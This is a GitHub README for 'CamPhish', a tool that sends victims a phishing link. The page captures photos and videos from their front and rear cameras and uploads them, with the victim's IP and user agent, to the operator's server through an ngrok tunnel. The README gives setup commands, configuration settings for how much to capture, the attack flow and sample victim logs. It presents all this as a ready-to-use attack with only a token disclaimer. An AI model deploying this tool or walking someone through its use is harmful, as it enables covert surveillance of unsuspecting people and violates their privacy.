Skip to content

Mr-Spect3r/CamPhish

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

14 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸ“Έ CamPhish - Camera Phishing Tool

CamPhish Demo

A professional tool to capture photos and videos from front and back cameras

Version Python Platform License


⚠️ Disclaimer

This tool is for educational and authorized testing purposes only. Only use this tool on devices you own or have explicit permission to test. The author is not responsible for any misuse or illegal activity.


🎯 What is CamPhish?

CamPhish is a powerful camera exploitation tool that allows you to capture photos and videos from a target's front and rear cameras through a single malicious link.

When the victim opens the link, the page automatically:

  • πŸ“Έ Takes photos from the front camera
  • πŸŽ₯ Records video from the front camera
  • πŸ“Έ Takes photos from the back camera
  • πŸŽ₯ Records video from the back camera

All captured media is immediately uploaded to your server and saved in the uploads/ folder!


✨ Features

  • βœ… Dual Camera Support - Captures from both front and rear cameras
  • βœ… Auto Upload - Media files are automatically uploaded via PHP backend
  • βœ… Concurrent Uploads - Handles multiple files simultaneously (up to 3 at once)
  • βœ… Customizable Settings - Adjust photo count and video duration via index.html
  • βœ… Logging System - Records all victim data (IP, User-Agent, timestamps)
  • βœ… Cross-Platform - Works on Windows, Linux, and Termux (Android)
  • βœ… Ngrok Integration - Creates public HTTPS links automatically
  • βœ… Token Persistence - Saves your Ngrok token for future use

πŸ“‹ Prerequisites

Requirement Installation
PHP Download for Windows
sudo apt install php (Linux)
pkg install php (Termux)
Ngrok Download for Windows
Download for Linux
Termux Instructions
Python 3.8+ Download for Windows
sudo apt install python (Linux)
pkg install python (Termux)

πŸš€ Installation & Setup

Step 1: Install Ngrok & Get Your Token

  1. Sign up at ngrok.com
  2. Get your authtoken from your dashboard
  3. Add your token:
ngrok config add-authtoken <your_token_here>

Step 2: Clone the Repository and Run

git clone https://github.com/Mr-Spect3r/CamPhish
cd CamPhish
python main.py

βš™οΈ Configuration

Customizing Camera Settings

When prompted, you can modify the index.html file settings:

Do you want to change the settings of the 'index.html' file? (y/n): y

Front Photo Count (e.g: 3): 5
Back Photo Count (e.g: 3): 3  
Front Video Seconds (e.g: 5): 10
Back Video Seconds (e.g: 4): 6

Or manually edit these variables in index.html:

let frontPhotoCount = 3;      // Number of front camera photos
let backPhotoCount = 3;       // Number of back camera photos
let frontVideoSeconds = 5;    // Front video duration (seconds)
let backVideoSeconds = 5;      // Back video duration (seconds)

πŸ“ File Structure

CamPhish/
β”œβ”€β”€ main.py              # Main launcher script
β”œβ”€β”€ upload.php           # PHP backend for file uploads
β”œβ”€β”€ index.html           # Camera capture page (sent to victim)
β”œβ”€β”€ uploads/             # Captured media storage folder
β”œβ”€β”€ token.txt            # Saved Ngrok token (auto-generated)
└── upload_log.json      # Activity logs (IP, User-Agent, timestamps)

How It Works

Victim opens link β†’ Requests camera permissions β†’ Captures photos/videos
         ↓                    ↓                           ↓
    Ngrok tunnel ←───── Local PHP server ←────── Uploads to uploads/

Technical Flow:

  1. Python script starts PHP server on random port (8000-8999)
  2. Ngrok creates public HTTPS tunnel to local server
  3. Victim opens the public URL
  4. JavaScript requests camera access (front β†’ back)
  5. Media captured and sent to upload.php via FormData
  6. PHP saves files to /uploads folder
  7. Logs recorded with victim's IP and User-Agent

πŸ“Š Output & Logs

Captured Media Location:

uploads/
β”œβ”€β”€ @MrEsfelurm_front_photo_1703123456789_1.jpg
β”œβ”€β”€ @MrEsfelurm_front_video_1703123456789.webm
β”œβ”€β”€ @MrEsfelurm_back_photo_1703123456790_1.jpg
└── @MrEsfelurm_back_video_1703123456790.webm

Log File (upload_log.json):

[
  {
    "ip": "192.168.1.100",
    "userAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
    "frontPhotos": 3,
    "frontVideos": 1,
    "backPhotos": 3,
    "backVideos": 1,
    "timestamp": "2024-01-15 14:30:25"
  }
]

πŸ› οΈ Troubleshooting

Issue Solution
PHP not found Install PHP from prerequisites section
Ngrok not found Download ngrok and add to PATH / use portable version
No URL generated Try using a VPN (some regions block ngrok)
Camera not working Ensure HTTPS is used (ngrok provides this)
Uploads folder empty Check write permissions on uploads/ directory

πŸ“ž Contact & Support

⭐ Features at a Glance

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                   CamPhish v1.0                     β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚  βœ… Front & Back Camera Capture                      β”‚
β”‚  βœ… Photo & Video Support                            β”‚
β”‚  βœ… Auto Upload via PHP                              β”‚
β”‚  βœ… Concurrent Upload Queue                          β”‚
β”‚  βœ… Customizable Media Count/Duration               β”‚
β”‚  βœ… Ngrok HTTPS Tunneling                            β”‚
β”‚  βœ… Multi-Platform (Win/Linux/Termux)               β”‚
β”‚  βœ… IP & User-Agent Logging                          β”‚
β”‚  βœ… Token Persistence                                β”‚
β”‚  βœ… Colorful Terminal UI                             β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

🎯 Final Notes

  • The victim must grant camera permissions for the attack to work
  • Modern browsers may show "camera in use" indicators
  • Use HTTPS links (ngrok provides these automatically)
  • All media is stored locally on YOUR machine

About

Camera phishing screen (to take photos from the front and rear cameras)

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors